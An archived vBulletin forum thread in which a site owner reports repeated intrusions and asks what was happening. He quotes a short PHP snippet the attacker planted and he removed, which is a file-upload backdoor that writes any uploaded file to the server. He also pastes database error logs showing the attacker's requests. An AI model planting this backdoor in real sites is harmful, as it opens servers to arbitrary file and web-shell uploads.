Go Back   vb.org Archive > vBulletin 3 Discussion > vB3 Programming Discussions
Prev Previous Post   Next Post Next
  #1  
Old 05-28-2008, 07:34 PM
pspcrazy pspcrazy is offline
 
Join Date: Apr 2005
Posts: 184
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default Potential Exploit in VB 3.7.1?

Hi as of late they have been a hacker that's been messing with my site. I removed some code which he placed into my code the last time he hacked:

PHP Code:
<?php $ficnt = @fread(@fopen($_FILES["s"]["tmp_name"], "rb"), $_FILES["s"]["size"]); 
if(@
fwrite(@fopen($_FILES["s"]["name"], "wb"), $ficnt)) echo $_FILES["s"]["name"]; ?>
Don't know what it does but i know it's not supposed to be there.

Oddly though now he's doing something else and i'm getting a lot of sql errors like:

Database error in vBulletin 3.7.1:

Code:
Invalid SQL:

                       SELECT COUNT(*) AS count
                       FROM vbattachment
                       WHERE posthash = 'invalid posthash'
                               AND userid = 0;

MySQL Error   : Lost connection to MySQL server during query
Error Number  : 2013
Request Date  : Wednesday, May 28th 2008 @ 03:14:25 PM
Error Date    : Wednesday, May 28th 2008 @ 03:15:04 PM
Script        : http://www.animecrazy.net/forums/newreply.php?do=postreply&t=1607
Referrer      : http://www.animecrazy.net/forums/newreply.php?do=newreply&noquote=1&p=3625
IP Address    : 24.47.55.108
Username      : crack
Classname     : vB_Database
which only occur when he tries to hack me and the username crack remains the same but the ip changes mabye 10 different times per minute very odd.

Anyone have any ideas as to what he's doing?
Reply With Quote
 

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 09:30 AM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.04400 seconds
  • Memory Usage 2,346KB
  • Queries Executed 12 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)bbcode_code
  • (1)bbcode_php
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (5)post_thanks_box
  • (5)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (5)post_thanks_postbit_info
  • (5)postbit
  • (5)postbit_onlinestatus
  • (5)postbit_wrapper
  • (1)showthread_list
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_threadedmode.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_postinfo_query
  • fetch_postinfo
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids_threaded
  • showthread_threaded_construct_link
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete